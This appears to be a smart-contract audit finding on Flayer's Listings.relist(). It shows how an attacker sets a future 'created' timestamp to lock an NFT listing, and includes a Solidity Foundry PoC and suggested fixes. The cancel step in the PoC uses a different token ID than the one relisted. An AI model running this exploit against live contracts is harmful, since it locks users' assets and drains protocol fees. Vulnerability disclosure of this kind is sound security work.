Loud Bone Cottonmouth

Medium

# Malicious user can lock a listing by re-listing it with future time

### Summary

Input parameter validation in `relist()` does not prevent re-listing a listing with `create` value in the future, this leads to the NFT being locked on the contract for indefinite amount of time.

### Root Cause

The `relist()` function does not validate the correctness of the `_listing` argument values and it is possible to re-list a listing with future `_listing.listing.created` value. When such a listing is created it is not possible to a) cancel it b) fill it c) re-list it d) reserve it, until the `block.timestamp` value is greater or equal than `_listing.listing.created`.

Where the listing is registered:
https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665

### Internal pre-conditions

1. A listing needs to be existing on the `Listings` contract.

### External pre-conditions

No external pre-conditions are required

### Attack Path

1. A malicious user calls `relist()` function on the `Listings` contract with `_listing.listing.created` value set higher than `block.timestamp`.

### Impact

1. The Listing (and hance the NFT that it holds) is locked on the `Listings` contract. This means that it cannot be filled or reserved hence any future fees related to that listing are lost for the protocol.
2. The malicious user has to pay only the tax value to succesfully call `relist()` which in the lowest possible case (floor value NFT) is around 2% of the value in terms of the `CollectionToken` ERC20.

### PoC

```solidity
    function test_MyLockListing() public {
        uint16 _floorMultiple = 101;
        address payable _owner1 = payable(address(0x01));
        address payable _owner2 = payable(address(0x02));

        // Deploy our platform contracts
        _deployPlatform();

        // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
        // is explicitly created in a number of tests.
        locker.createCollection(address(erc721a), 'Test Collection', 'TEST', 0);

        // Initialise our collection
        _initializeCollection(erc721a, SQRT_PRICE_1_2);

        // Mint our token to the _owner and approve the {Listings} contract to use it
        erc721a.mint(_owner1, TOKEN_ID);

        deal(address(locker.collectionToken(address(erc721a))), _owner1, 1 ether);
        deal(address(locker.collectionToken(address(erc721a))), _owner2, 1 ether);

        // Create our listing for owner 1
        vm.startPrank(_owner1);
        erc721a.approve(address(listings), TOKEN_ID);
        _createListing({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(TOKEN_ID),
                listing: IListings.Listing({
                    owner: _owner1,
                    created: uint40(block.timestamp),
                    duration: VALID_LIQUID_DURATION,
                    floorMultiple: _floorMultiple
                })
            })
        });

        // Warp forward half the time, so that we can test the required amount to be repaid in addition
        vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));

        // approve the ERC20 collectionToken
        vm.startPrank(_owner1);
        locker.collectionToken(address(erc721a)).approve(address(listings), 1 ether);

        vm.startPrank(_owner2);
        locker.collectionToken(address(erc721a)).approve(address(listings), 1 ether);

        // owner 2 relists from his second account
        vm.startPrank(_owner2);
        listings.relist(IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(TOKEN_ID),
                listing: IListings.Listing({
                    owner: _owner2,
                    created: uint40(block.timestamp + 365 days), // if in the future the listing cannot be cancelled.
                    duration: VALID_LIQUID_DURATION,
                    floorMultiple: _floorMultiple
                })
            }), 
            false
        );

        // Cancelling the listing reverts:
        vm.startPrank(_owner2);
        vm.expectRevert();
        listings.cancelListings(address(erc721a), _tokenIdToArray(TOKEN_ID_1), false);

        // relisting reverts. All other functions need to calculate the tax in the same way which with future date leads to an overflow.
        vm.startPrank(_owner1);
        vm.expectRevert();
        listings.relist(IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(TOKEN_ID),
                listing: IListings.Listing({
                    owner: _owner1,
                    created: uint40(block.timestamp),
                    duration: VALID_LIQUID_DURATION,
                    floorMultiple: _floorMultiple
                })
            }), 
            false
        );

    }
```

### Mitigation

Depending on the required functionality:
1) Validate the `_listing.listing.created` value to reach to the future to just a certain extent if this is intended.
2) When re-listing, assign the `created` variable to `block.timestamp`